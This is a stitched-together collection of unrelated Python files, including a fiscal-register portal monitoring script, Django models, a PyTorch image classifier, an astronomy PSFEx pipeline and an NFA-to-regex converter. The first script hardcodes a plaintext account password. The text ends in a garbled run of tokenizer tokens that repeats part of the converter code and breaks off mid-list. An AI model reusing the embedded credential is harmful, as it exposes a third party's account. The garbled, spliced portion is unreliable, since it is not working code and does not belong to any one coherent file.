import requests def squeezed(client_name): return client_name.replace("Индивидуальный предприниматель", "ИП") def get_kkm_filled_fn(max_fill=80): ## возвращает список ККМ с заполнением ФН больше max_fill в % LOGIN_URL = "https://pk.platformaofd.ru/auth/login" API_URL = "https://pk.platformaofd.ru/api/monitoring" session = requests.Session() print("-= подключение к серверу =-") session.get(LOGIN_URL) login_data = {"email": "[email protected]", "password": "smart620514", "username": "[email protected]", "phone": ""} print("-= авторизация =-") session.post(LOGIN_URL, data=login_data) # запрос всех ККМ, кроме архивных (headers обязательно !) headers = {"Content-Type": "application/json;charset=UTF-8"} payload = '{"badgeId":17,"type":"terminal","filterValues":[],"withArchive":0}' print("-= получение данных с сервера =-") r = session.post(API_URL, data=payload, headers=headers) data_from_api = r.json() all_kkm_list = data_from_api["result"]["data"] kkm_quanity = len(all_kkm_list) print("-= обработка данных =-") kkm_with_filled_fn = [] for kkm in all_kkm_list: fn_used = int(kkm["fnSpaceUsed"].strip("'%")) if fn_used >= max_fill: kkm_with_filled_fn.append(kkm) return kkm_with_filled_fn max_fill = 80 x = get_kkm_filled_fn(max_fill) print(f"ККМ с заполненностью ФН выше {max_fill}%.") for k in x: print(f"{k['fnSpaceUsed']:4} {k['deviceName'][:37]:39} {squeezed(k['clientName'])[:30]:31}")
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709f2425bc6e0b0b650fd6c657df6d85cfbd05fe
from django.shortcuts import render # Create your views here. def test_petite_vue(request): return render(request, "petite_vue_app/test-form.html")
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a4deb67d277538e61c32381da0fe4886016dae33
import torch import torch.nn as nn import torch.nn.functional as F import torch.optim as optim import cv2 import imageio import pandas as pd import glob, os import numpy as np fileDir = os.getcwd() # os.chdir("./train-jpg") # there are 40480 training examples # we will allocate 39000 for training # and the remaining 1480 will be for validation input_size = 65536 # 256^2 hidden_size = 20 hidden_size_1 = 15 hidden_size_2 = 10 hidden_size_3 = 5 num_classes = 1 learning_rate = 0.001 num_epochs = 5 train_num = 1000 test_num = 148 # train_num = 39000 # test_num = 1480 # %% Load data--for clouds and non-clouds images = [] for file in glob.glob("*.jpg"): images.append(file) images = sorted(images, key=lambda filename: int(filename[6:-4])) # string splicing so that the images are in order train_images = [] test_images = [] train_labels = [] test_labels = [] labels = pd.read_csv("./train_v2.csv") # labels are whether or not image is any sort of cloudy or haze for i in range(train_num + test_num): tags = labels.iloc[i]["tags"] if i < train_num: train_images.append(imageio.imread(images[i], as_gray=True).flatten()) train_labels.append(int("cloudy" not in tags and "haze" not in tags)) # train_labels.append(int("water" not in tags)) else: test_images.append(imageio.imread(images[i], as_gray=True).flatten()) test_labels.append(int("cloudy" not in tags and "haze" not in tags)) # test_labels.append(int("water" not in tags)) class Net(nn.Module): def __init__(self, input_size, hidden_size, num_classes): super(Net, self).__init__() # parameters # weights # self.h1 = nn.Sigmoid() # input_size, hidden_size # self.o = nn.Sigmoid() # hidden_size, num_classes self.h1 = nn.Linear(input_size, hidden_size) self.h2 = nn.Linear(hidden_size, hidden_size_1) self.h3 = nn.Linear(hidden_size_1, hidden_size_2) self.h4 = nn.Linear(hidden_size_2, hidden_size_3) self.o = nn.Linear(hidden_size_3, num_classes) def forward(self, x): x = torch.sigmoid(self.h1(x)) # print("doing x: {}".format(x.shape)) x = torch.sigmoid(self.h2(x)) x = torch.sigmoid(self.h3(x)) x = torch.sigmoid(self.h4(x)) x = torch.sigmoid(self.o(x)) return x # %% model = Net(input_size, hidden_size, num_classes) # no device configuration here criterion = nn.SoftMarginLoss() optimizer = torch.optim.Adam(model.parameters(), lr=learning_rate) # model = TheModelClass(*args, **kwargs) # model.load_state_dict(torch.load("model.ckpt")) # model.eval() # optimizer = TheOptimizerClass(*args, **kwargs) # checkpoint = torch.load('./model.ckpt') # model.load_state_dict(checkpoint['model_state_dict']) # optimizer.load_state_dict(checkpoint['optimizer_state_dict']) # epoch = checkpoint['epoch'] # loss = checkpoint['loss'] total_step = len(train_images) for epoch in range(num_epochs): for i, image in enumerate(train_images): image = torch.Tensor(train_images[i]).reshape(1, 65536) label = torch.Tensor([int(train_labels[i])]) # label = label.long() # label = label.reshape(1,1) # label = label.squeeze() # Forward pass outputs = model(image) outputs = outputs.squeeze(0) # outputs.reshape(1,) loss = criterion(outputs, label) # Backward and optimize optimizer.zero_grad() loss.backward() optimizer.step() if (i + 1) % 100 == 0: print("Epoch [{}/{}], Step [{}/{}], Loss: {:.4f}".format(epoch + 1, num_epochs, i + 1, total_step, loss.item())) # %% with torch.no_grad(): correct = 0 total = 0 for i, image in enumerate(test_images): image = torch.Tensor(test_images[i]).reshape(1, 65536) label = torch.Tensor([int(test_labels[i])]) outputs = model(image) outputs = outputs.squeeze(0) outputs = 1 if torch.sum(outputs) >= 0.5 else 0 if outputs == torch.sum(label): correct += 1 elif outputs == 0: print("#############") print(i, outputs, torch.sum(label)) # _, predicted = torch.max(outputs.data, 1) # correct += (predicted == labels).sum().item() print("Accuracy of the network on the {} test images: {} %".format(len(test_images), 100 * correct / len(test_images))) # %% torch.save(model.state_dict(), "model.ckpt") # %%
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914f477518918619e0e42184bd03c2a7ed16bb01
from django.db import models class Location(models.Model): id_location = models.AutoField(primary_key=True) city = models.CharField(max_length=100, null=True) street_name = models.CharField(max_length=100, null=True) street_number = models.IntegerField(null=True) zip = models.IntegerField(null=True) country = models.CharField(max_length=100, null=True) name = models.CharField(max_length=100, null=True) latitude = models.DecimalField(max_digits=6, decimal_places=3, null=True) longitude = models.DecimalField(max_digits=6, decimal_places=3, null=True) def __str__(self): # print('Name', type(self.name), '\nCountry', type(self.country), '\nCity', self.city) return str(self.name) + " - " + str(self.country) + ": " + str(self.city) class Person(models.Model): id_person = models.AutoField(primary_key=True) nickname = models.CharField(max_length=100, null=True) first_name = models.CharField(max_length=100, null=True) last_name = models.CharField(max_length=100, null=True) id_location = models.ForeignKey(Location, on_delete=models.CASCADE, null=True, default=52) birth_day = models.DateField(default="1900-01-01") height = models.IntegerField(null=True) GENDER = ( ("Female", "Female"), ("Male", "Male"), ) gender = models.CharField(max_length=20, choices=GENDER, null=True) def __str__(self): return str(self.nickname) + " " + self.last_name + "" + self.first_name class Contact_type(models.Model): id_contact_type = models.AutoField(primary_key=True) name = models.CharField(max_length=100) validation_regexp = models.CharField(max_length=100) def __str__(self): return str(self.name) class Contact(models.Model): id_contact = models.AutoField(primary_key=True) id_person = models.ForeignKey(Person, on_delete=models.PROTECT) id_contact_type = models.ForeignKey(Contact_type, on_delete=models.PROTECT, null=True) contact = models.CharField(max_length=100, null=True) def __str__(self): return str(self.id_person) + " " + str(self.contact) class Relation_type(models.Model): id_relation = models.AutoField(primary_key=True) name = models.CharField(max_length=100) def __str__(self): return str(self.name) class Relation(models.Model): id_relation = models.AutoField(primary_key=True) id_person1 = models.ForeignKey(Person, on_delete=models.PROTECT, related_name="who1") id_person2 = models.ForeignKey(Person, on_delete=models.PROTECT, related_name="who2") description = models.CharField(max_length=100, null=True) id_relation_type = models.ForeignKey(Relation_type, on_delete=models.CASCADE) class Meeting(models.Model): id_meeting = models.AutoField(primary_key=True) start_date = models.DateField(max_length=100) start_time = models.TimeField(max_length=100) description = models.CharField(max_length=100, null=True, default="") duration = models.DurationField(default=0) id_location = models.ForeignKey(Location, on_delete=models.CASCADE) def __str__(self): return ( str(self.start_time) + " - " + str(self.start_date) + " " + str(self.duration) + " " + str(self.description) + " " + str(self.id_location) ) class Person_meeting(models.Model): id_person = models.ForeignKey(Person, on_delete=models.CASCADE) id_meeting = models.ForeignKey(Meeting, on_delete=models.CASCADE, unique=False)
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cdbf9427d48f0a5c53b6efe0de7dfea65a8afd83
# -*- coding: utf-8 -*- # Copyright (c) 2018-2020 Christiaan Frans Rademan <[email protected]>. # All rights reserved. # # Redistribution and use in source and binary forms, with or without # modification, are permitted provided that the following conditions are met: # # * Redistributions of source code must retain the above copyright notice, this # list of conditions and the following disclaimer. # # * Redistributions in binary form must reproduce the above copyright notice, # this list of conditions and the following disclaimer in the documentation # and/or other materials provided with the distribution. # # * Neither the name of the copyright holders nor the names of its # contributors may be used to endorse or promote products derived from # this software without specific prior written permission. # # THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" # AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE # IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE # ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE # LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR # CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF # SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS # INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN # CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) # ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF # THE POSSIBILITY OF SUCH DAMAGE. import os import random import string # Use cryptographic-safe random generator as provided by the OS. random_generator = random.SystemRandom() def string_id(length=8): """Generate Random ID. Random ID contains ascii letters and digitis. Args: length (int): Character length of id. Returns: Random id string. """ return "".join(random.choice(string.ascii_letters + string.digits) for _ in range(length)) # Request ID Counter #################### req_c = None pid = None def request_id(): # Using random is pretty slow. This is way quicker. # It uses cached proc id. Then only does this append counter. # per request... # # It may not be as unique, but highly unlikely to collide # with recent requet ids. global req_c, pid if req_c is None: req_c = random.randint(1000 * 1000, 1000 * 1000 * 1000) if pid is None: pid = str(os.getpid()) req_id = req_c = req_c + 1 req_id = hex(req_id)[2:].zfill(8)[-8:] return pid + "-" + req_id
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c4624425f57211e583b5fbaec3943539ce6fea6f
from django import forms from .models import BlogPost class BlogPostForm(forms.ModelForm): class Meta: model = BlogPost fields = "__all__"
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a42f36fca2f65d0c5c9b65055af1814d8b4b3d42
#!/usr/bin/env python3 # --------------------( LICENSE )-------------------- # Copyright (c) 2014-2023 Beartype authors. # See "LICENSE" for further details. """ Project-wide **standard Python module globals** (i.e., global constants describing modules and packages bundled with CPython's standard library). This private submodule is *not* intended for importation by downstream callers. """ # ....................{ IMPORTS }.................... # ....................{ NAMES }.................... BUILTINS_MODULE_NAME = "builtins" """ Fully-qualified name of the **builtins module** (i.e., objects defined by the standard :mod:`builtins` module and thus globally available by default *without* requiring explicit importation). """
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c23125018a77508dad6fd2cb86ec6d556fbd1019
#!/usr/bin/env python3 # -*- coding: utf-8 -*- """ Created on Thu May 21 11:40:26 2020 @author: jlee """ import time start_time = time.time() import numpy as np import glob, os from astropy.io import fits import init_cfg as ic # ----- Making scripts for PSFEx ----- # os.system("psfex -dd > config.psfex") if ic.use_backsub: prefix = "b" else: prefix = "" f = open("psfex_all.sh", "w") f.write("\n") f.write("#############################" + "\n") f.write("##### Scripts for PSFEx #####" + "\n") f.write("#############################" + "\n") f.write("\n") for i in np.arange(len(ic.fields)): f.write("# ----- HSC field : " + ic.fields[i] + " ----- #" + "\n") f.write("\n") for j in np.arange(len(ic.filters)): flt = ic.filters[j].split("-")[1] f.write("rm -rfv prepsfex_" + flt + ".cat\n") f.write( "sex Images/" + prefix + ic.fields[i] + "-" + flt + ".fits -c prepsfex.sex -CATALOG_NAME prepsfex_" + flt + ".cat " ) f.write("-DETECT_THRESH {0:.1f} -ANALYSIS_THRESH {0:.1f} ".format(ic.THRES_psf)) f.write(f"-MAG_ZEROPOINT {ic.MAG0:.1f} -GAIN {ic.GAIN0[i][j]:.1f} -SEEING_FWHM {ic.SEEING0:.2f}\n") f.write( "sex Images/" + prefix + ic.fields[i] + "-" + flt + ".fits -c prepsfex.sex -CATALOG_NAME prepsfex_" + ic.fields[i] + "-" + flt + ".cat -CATALOG_TYPE ASCII_HEAD " ) f.write("-DETECT_THRESH {0:.1f} -ANALYSIS_THRESH {0:.1f} ".format(ic.THRES_psf)) f.write(f"-MAG_ZEROPOINT {ic.MAG0:.1f} -GAIN {ic.GAIN0[i][j]:.1f} -SEEING_FWHM {ic.SEEING0:.2f}\n") f.write("psfex prepsfex_" + flt + ".cat -c config.psfex ") f.write(f"-SAMPLE_FWHMRANGE {ic.FWHMR_psf[0]:.1f},{ic.FWHMR_psf[1]:.1f} ") f.write(f"-SAMPLE_MINSN {ic.MINSN_psf:.1f} -SAMPLE_MAXELLIP {ic.MAXEL_psf:.2f} ") f.write("-OUTCAT_TYPE ASCII_HEAD -OUTCAT_NAME psf_" + ic.fields[i] + "-" + flt + ".cat ") f.write("-CHECKPLOT_TYPE NONE -XML_NAME psf_" + ic.fields[i] + "-" + flt + ".xml\n") f.write("mv -v prepsfex_" + flt + ".psf psf_" + ic.fields[i] + "-" + flt + ".psf\n") f.write("\n") f.write("\n\n") f.close() # ----- Running scripts for PSFEx ----- # if glob.glob("PSFEx/") == []: os.system("mkdir PSFEx") else: os.system("rm -rfv PSFEx/*") os.system("sh psfex_all.sh") os.system("mv -v psf_*.cat psf_*.xml psf_*.psf PSFEx/") os.system("mv -v prepsfex_*-*.cat PSFEx/") os.system("rm -rfv ./*.fits prepsfex_*.cat") # Printing the running time print("--- %s seconds ---" % (time.time() - start_time))
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81688d51696156905736b5de7a4929387fd385ab
import argparse import datetime import importlib import pprint import time import random import numpy as np import torch from torch.utils.tensorboard import SummaryWriter from utils import get_git_state, time_print, AverageMeter, ProgressMeter, save_checkpoint def train(cfg, epoch, data_loader, model): data_time = AverageMeter("Data", ":6.3f") batch_time = AverageMeter("Time", ":6.3f") losses = AverageMeter("Loss", ":.4e") progress = ProgressMeter(len(data_loader) - 1, [batch_time, data_time, losses], prefix=f"Epoch: [{epoch}]\t") model.train() end = time.time() for batch_nb, batch in enumerate(data_loader): d_time = time.time() - end data_time.update(d_time) global_step = model.global_step writer.add_scalar("time/data/train", d_time, global_step) report = model.training_step(batch, batch_nb) losses.update(report["loss"]) for k, v in report.items(): writer.add_scalar(f"{k}/train", v, global_step) b_time = time.time() - end batch_time.update(b_time) writer.add_scalar("time/batch/train", b_time, global_step) end = time.time() if batch_nb % cfg.log.freq == 0 or batch_nb == len(data_loader) - 1: progress.display(batch_nb, print_fn=lambda *x: time_print(*x, end="\r")) def test(cfg, data_loader, model): data_time = AverageMeter("Data", ":6.3f") batch_time = AverageMeter("Time", ":6.3f") losses = AverageMeter("Loss", ":.4e") metrics = ["performance"] metrics = {m: AverageMeter(m, ":.4e") for m in metrics} progress = ProgressMeter(len(data_loader) - 1, [batch_time, data_time, losses, *metrics.values()], prefix="Test:\t") model.eval() global_step = model.global_step end = time.time() for batch_nb, batch in enumerate(data_loader): data_time.update(time.time() - end) with torch.no_grad(): report = model.test_step(batch, batch_nb) losses.update(report["loss"]) for k, v in report.items(): if k not in metrics: metrics[k] = AverageMeter(k, ":.3f") metrics[k].update(v) batch_time.update(time.time() - end) end = time.time() if batch_nb % cfg.log.freq == 0 or batch_nb == len(data_loader) - 1: progress.display(batch_nb, print_fn=lambda *x: time_print(*x, end="\r")) writer.add_scalar("loss/test", losses.avg, global_step) writer.add_scalar("time/batch/test", batch_time.avg, global_step) writer.add_scalar("time/data/test", data_time.avg, global_step) for k, v in metrics.items(): writer.add_scalar(f"{k}/test", v.avg, global_step) progress.display(len(data_loader) - 1, time_print) def main(cfg, pool=None): model = importlib.import_module(f"models.{cfg.model}").Model(cfg, pool=pool) if getattr(cfg, "load_model", False): model.load_ckpt() if model.device != "cpu" and torch.cuda.device_count() > 1: model = torch.nn.DataParallel(model) model = model.to(model.device) train_loader = model.get_train_loader() test_loader = model.get_test_loader() for epoch in range(cfg.num_epoch): time_print(f"\nEpoch {epoch} Training") train(cfg, epoch, train_loader, model) filename = "checkpoint.pth.tar" if not getattr(cfg.log, "overwrite_ckpt", True): filename = "_".join([str(epoch), filename]) save_checkpoint( state={ "epoch": epoch, "global_step": model.global_step, "state_dict": model.state_dict(), "opt_state_dict": {k: v.state_dict() for k, v in model.optimizers.items()}, "cfg": cfg, }, directory=cfg.log.misc_dir, filename=filename, ) time_print("\nTest") test(cfg, test_loader, model) if __name__ == "__main__": parser = argparse.ArgumentParser(description="Run script") parser.add_argument("--config", "-c", type=str, required=False, default="config") args = parser.parse_args() git_state = get_git_state() config = importlib.import_module(f"configs.{args.config}").config config.log.exp_id = git_state[1][:7] + datetime.datetime.now().strftime("%Y-%m-%d_%H:%M:%S") config.log.misc_dir = config.log.dir / "misc" / config.log.exp_id config.log.tb_dir = config.log.dir / "tb" / config.log.exp_id config.log.misc_dir.mkdir(exist_ok=True, parents=True) config.log.tb_dir.mkdir(exist_ok=True, parents=True) torch.manual_seed(config.rnd_seed) np.random.seed(config.rnd_seed) random.seed(config.rnd_seed) if getattr(config, "anomaly_detection", False): torch.autograd.set_detect_anomaly(True) global writer writer = SummaryWriter(log_dir=config.log.tb_dir, comment=f"{config.description}, {git_state}") time_print(pprint.pformat(config)) time_print(f"Git head at state: {git_state}") try: if npp := getattr(config, "n_process_pool", 0): with torch.multiprocessing.Pool(npp) as pool: main(config, pool=pool) else: main(config) except KeyboardInterrupt: time_print(f"Keyboard interrupt") exit(0)
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d90942f22cbbd9cfc3a431b7857cd909a7690966
OK = 200 CREATED = 201 NOT_MODIFIED = 304 UNAUTHORIZED = 401 FORBIDDEN = 403 BAD_REQUEST = 400 NOT_FOUND = 404 CONFLICT = 409 UNPROCESSABLE = 422 INTERNAL_SERVER_ERROR = 500 NOT_IMPLEMENTED = 501 SERVICE_UNAVAILABLE = 503 ADMIN = "admin" ELITE = "elite" NOOB = "noob" WITHDRAW = "withdraw" FUND = "fund"
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54ec1961f4835f575e7129bd0b2fcdeb97be2f03
import configparser import sqlite3 import time import uuid from duoquest.tsq import TableSketchQuery def input_db_name(conn): while True: db_name = input("Database name (default: concert_singer) > ") if not db_name: db_name = "concert_singer" cur = conn.cursor() cur.execute("SELECT 1 FROM databases WHERE name = ?", (db_name,)) if cur.fetchone(): break else: print(f"<{db_name}> is not a valid database.") return db_name def input_nlq(): nlq = input("NLQ (default: How many singers are there?)> ") if not nlq: nlq = "How many singers are there?" return nlq def input_num_cols(): while True: num_cols = input("Number of columns > ") try: num_cols = int(num_cols) break except Exception as e: print("Number of columns should be integer!") return num_cols def input_order(): ordered = False while True: order_input = input("Should results be ordered? (y/n) > ") if order_input == "y": ordered = True break elif order_input == "n": break else: print("y/n only!") return ordered def input_limit(): limit = None while True: limit_input = input("Limit results to n tuples? (int or blank) > ") if not limit_input: break try: limit = int(limit_input) break except Exception as e: print("int or blank only!") return limit def input_tsq_types(num_cols): while True: types_input = input("Types (`text` or `number`, comma separated)> ") types = list(map(lambda x: x.strip(), types_input.split(","))) if any(map(lambda x: x not in ("text", "number"), types)): print("Types must be `text` or `number`") continue if len(types) != num_cols: print("Number of types must match number of columns.") continue break return types def input_tsq_row_count(): tsq_row_count = 0 while True: tsq_row_count_input = input("Number of TSQ rows (int) > ") try: tsq_row_count = int(tsq_row_count_input) break except Exception as e: print("int only!") return tsq_row_count def input_tsq_row(row_num, tsq_types): while True: row_input = input(f"Row {row_num} (semicolon-separated values) > ") tsq_row = list(map(lambda x: x.strip(), row_input.split(";"))) validated = True for i, cell in enumerate(tsq_row): if tsq_types[i] == "number": try: float(cell) except Exception as e: print("At least one cell value is invalid.") validated = False break if validated: break return tsq_row def main(): config = configparser.ConfigParser() config.read("config.ini") db_path = config["db"]["path"] conn = sqlite3.connect(db_path) db_name = input_db_name(conn) nlq = input_nlq() num_cols = input_num_cols() tsq = TableSketchQuery(num_cols) tsq.types = input_tsq_types(num_cols) tsq_row_count = input_tsq_row_count() for i in range(tsq_row_count): tsq.values.append(input_tsq_row(i + 1, tsq.types)) tsq.order = input_order() tsq.limit = input_limit() print(tsq.to_proto()) cur = conn.cursor() cur.execute( """INSERT INTO tasks (tid, db, nlq, tsq_proto, status, time) VALUES (?, ?, ?, ?, ?, ?)""", (str(uuid.uuid4()), db_name, nlq, tsq.to_proto().SerializeToString(), "waiting", int(time.time())), ) conn.commit() conn.close() if __name__ == "__main__": main()
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2fe20f28fc7bba6b8188f5068e2b3c8b87c15edc
from util import AutomataError from automata import NFA from base import Node from copy import copy, deepcopy from os.path import commonprefix DEBUG = False LAMBDA = "\u03bb" PHI = "\u00d8" def copyDeltas(src): out = dict() for k in src: out[k] = dict() for k2 in src[k]: out[k][k2] = copy(src[k][k2]) return out def replaceNode(nfa, old, new): if DEBUG: print("R_Start(%s, %s) ---" % (old, new), nfa) if old in nfa._deltas: for input in nfa._deltas[old]: nfa.addDelta(new, input, nfa._deltas[old][input]) del nfa._deltas[old] if DEBUG: print("R_SwitchedSource(%s, %s) ---" % (old, new), nfa) deltas_temp = copyDeltas(nfa._deltas) for src in deltas_temp: for input in deltas_temp[src]: if old in deltas_temp[src][input]: nfa._deltas[src][input].remove(old) nfa._deltas[src][input].add(new) if DEBUG: print("R_SwitchedDest(%s, %s) ---" % (old, new), nfa) def commonsuffix(seq): def reverse(s): out = "" for c in reversed(s): out += c return out seq = [reverse(i) for i in seq] return reverse(commonprefix(seq)) class NetworkNFA(NFA): def __init__(self, nfa): if type(nfa) is not NFA: raise AutomataError("Can create a NetworkNFA only from an NFA.") if all([len(i) == 1 for i in nfa.charset]): self._charset = copy(nfa._charset) else: self._charset = set(["{%s}" % i for i in nfa._charset]) self._nodes = copy(nfa._nodes) self._deltas = copyDeltas(nfa._deltas) self._start = nfa._start self._terminals = copy(nfa._terminals) def addDelta(self, node, input, dest): if set(input) - (self._charset.union(set("()+*"))): raise AutomataError("%s contains symbols not in charset." % input) if type(node) is Node: if type(dest) is set and all([type(i) is Node for i in dest]): if len(dest): if node in self._deltas: if input in self._deltas[node]: self._deltas[node][input] = self._deltas[node][input].union(dest) else: self._deltas[node][input] = dest else: self._deltas[node] = {input: dest} elif type(dest) is Node: if node in self._deltas: if input in self._deltas[node]: self._deltas[node][input].add(dest) else: self._deltas[node][input] = set([dest]) else: self._deltas[node] = {input: set([dest])} else: raise AutomataError("Delta destination must be a Node or a set of nodes, not %s." % type(dest).__name__) else: raise AutomataError("Delta source must be Node, not %s." % type(node).__name__) def remDelta(self, node, input): if set(input) - (self._charset.union(set("()+*"))): raise AutomataError("%s contains symbols not in charset." % input) if type(node) is Node: if node in self._deltas and input in self._deltas[node]: self._deltas[node].pop(input) if len(self._deltas[node]) == 0: del self._deltas[node] else: raise AutomataError("Delta source must be a Node, not %s" % type(node).__name__) def isValid(self): if len(self._nodes) == 0: return False if self._start not in self._nodes: return False for i in self._terminals: if i not in self._nodes: return False if not set(self._deltas.keys()).issubset(self._nodes): return False for key in self._deltas: for char in self._deltas[key]: if set(char) - (self._charset.union(set("()+*"))): return False return True def apply(self, input, start): raise AutomataError("NetworkNFA does not allow direct application.") def __repr__(self): ret = "<NetworkNFA>\n" ret += " Charset: {%s}\n" % ",".join(filter(None, self._charset)) ret += " Nodes: {%s}\n" % ",".join([i.label for i in self._nodes]) ret += "Terminals: {%s}\n" % ",".join([i.label for i in self._terminals]) ret += " Start: %s\n" % (self._start and self._start.label) ret += " Delta: " if len(self._deltas): for qFrom in self._deltas: for input in self._deltas[qFrom]: ret += "D(%s, %s) -> {%s}\n " % ( qFrom.label, input or "lambda", ",".join([i.label for i in self._deltas[qFrom][input]]), ) ret = ret.rstrip() + "\n" else: ret += "None\n" ret += " Valid: %s\n" % ("Yes" if self.isValid() else "No") ret += "</NetworkNFA>" return ret def nfa2regex(nfa): if not nfa.isValid(): raise AutomataError("NFA must be in a valid state to be converted to a regex.") network = NetworkNFA(nfa) if DEBUG: print("START", network) # Take care of multi-terminals # if len(network.terminals) > 1: ## end = Node('qf') # network.addNode(end) # for i in copy(network.terminals): ## network.addDelta(i, '', end) # network.remTerminal(i) # network.addTerminal(end) # Add a dummy start and end nodes start = Node("qs") network.addNode(start) network.addDelta(start, "", network.start) network.start = start end = Node("qf") network.addNode(end) for i in network.terminals: network.addDelta(i, "", end) network.remTerminal(i) network.addTerminal(end) if DEBUG: print("Dummies added: ", network) # Collapse connections for src in network.nodes: delta_temp = network.getDelta(src) for dest in network.nodes: chars = [] for input in delta_temp: if input and dest in delta_temp[input]: chars.append(input) if len(chars): for c in chars: delta_temp[c].remove(dest) if len(delta_temp[c]) == 0: del delta_temp[c] if len(chars) > 1: chars = "(" + "+".join(chars) + ")" else: chars = "+".join(chars) network.addDelta(src, chars, dest) if DEBUG: print("Collapsed: ", network) # Collect pliable nodes pliableNodes = list(network.nodes) pliableNodes.remove(network.start) for n in network.terminals: pliableNodes.remove(n) # Build a distance-from-terminal table nodeFinalDist = {} maxDist = len(network.nodes) ** len(network.nodes) # Lazy for n in network.nodes: nodeFinalDist[n] = maxDist nodeFinalDist[network.terminals[0]] = 0 toProcess = list(network.nodes) toProcess.remove(network.terminals[0]) while len(toProcess): for node in toProcess: dests = network.getDelta(node).values() if len(dests) == 0: dests = set([]) else: dests = reduce(set.union, network.getDelta(node).values()) if len(dests) == 0: toProcess.remove(node) else: minDist = min([nodeFinalDist[i] for i in dests]) if minDist != maxDist: nodeFinalDist[node] = minDist + 1 toProcess.remove(node) # Sort pliable nodes by distance from terminal pliableNodes.sort(key=lambda x: nodeFinalDist[x], reverse=True) if DEBUG: print("Pliables: ", pliableNodes) for node in pliableNodes: # Remove Node network.remNode(node) # Save delta delta = copy(network.getDelta(node)) # Convert loops to regex loops = [] for input in delta: if node in delta[input]: if len(input): loops.append(input) loopRegex = "+".join(loops) if len(loopRegex) > 1 and not (loopRegex[0] == "(" and loopRegex[-1] == ")"): loopRegex = "(" + loopRegex + ")*" elif len(loopRegex) >= 1: loopRegex = loopRegex + "*" # Remove loops for input in copy(delta): if delta[input] == set([node]): del delta[input] elif node in delta[input]: delta[input].remove(node) # Search lambda-closure equivalence if "" in delta and (len(delta) != 1 or len(delta[""]) != 1): eligible = [] for dest in delta[""]: delta_temp = network.getDelta(dest) if "" in delta_temp and node in delta_temp[""]: eligible.append(dest) if len(eligible): replaceNode(network, node, eligible[0]) continue # Remove delta try: del network._deltas[node] except KeyError: # No deltas remaining, had only loops continue if DEBUG: print("Working on connections: ", node, delta) # Check all possible connections through this node deltas_temp = copyDeltas(network._deltas) for src in deltas_temp: for input in deltas_temp[src]: tempDeltaDest = network.getDelta(src)[input] if node in tempDeltaDest: tempDeltaDest.remove(node) if len(tempDeltaDest) == 0: network.remDelta(src, input) for input2 in delta: for dest in delta[input2]: if not (src == dest and (input + loopRegex + input2) == ""): network.addDelta(src, input + loopRegex + input2, dest) if DEBUG: print("New Delta:", src, input, loopRegex, input2, dest, network) # Extract common prefix/suffix branches = network.getDelta(network.start).keys() if len(branches) == 1: regex = branches[0] else: prefix = commonprefix(branches) suffix = commonsuffix(branches) branches = [i[len(prefix) : -len(suffix)] if len(suffix) else i[len(prefix) :] for i in branches] branches.sort(key=len) if len(prefix) or len(suffix): regex = prefix + "(" + "+".join([i or LAMBDA for i in branches]) + ")" + suffix else: regex = "+".join([i or LAMBDA for i in branches]) or PHI return regex
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"Ġfor", "Ġinput", "Ġin", "Ġdelt", "as", "_", "temp", "[", "src", "]:", "ĊĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠ", "Ġtemp", "Delta", "Dest", "Ġ=", "Ġnetwork", ".", "get", "Delta", "(", "src", ")[", "input", "]", "ĊĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠ", "Ġif", "Ġnode", "Ġin", "Ġtemp", "Delta", "Dest", ":", "ĊĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠ", "Ġtemp", "Delta", "Dest", ".", "remove", "(", "node", ")", "ĊĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠ", "Ġif", "Ġlen", "(", "temp", "Delta", "Dest", ")", "Ġ==", "Ġ", "0", ":", "ĊĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠ", "Ġnetwork", ".", "rem", "Delta", "(", "src", ",", "Ġinput", ")", "ĊĊĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠ", "Ġfor", "Ġinput", "2", "Ġin", "Ġdelta", ":", "ĊĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠ", "Ġfor", "Ġdest", "Ġin", "Ġdelta", "[", "input", "2", "]:", "ĊĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠ", "Ġif", "Ġnot", "Ġ(", "src", "Ġ==", "Ġdest", "Ġand", "Ġ(", "input", "Ġ+", "Ġloop", "Regex", "Ġ+", "Ġinput", "2", ")", "Ġ==", "Ġ\"\")", ":", "ĊĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠ", "Ġnetwork", ".", "add", "Delta", "(", "src", ",", "Ġinput", "Ġ+", "Ġloop", "Regex", "Ġ+", "Ġinput", "2", ",", "Ġdest", ")", "ĊĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠ", "Ġif", "ĠDEBUG", ":", "ĊĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠ", "Ġprint", "(\"", "New", "ĠDelta", ":\",", "Ġsrc", ",", "Ġinput", ",", "Ġloop", "Regex", ",", "Ġinput", "2", ",", "Ġdest", ",", "Ġnetwork", ")", "ĊĊĠĠĠ", "Ġ#", "ĠExtract", "Ġcommon", "Ġprefix", "/", "suffix", "ĊĠĠĠ", "Ġbranches", "Ġ=", "Ġnetwork", ".", 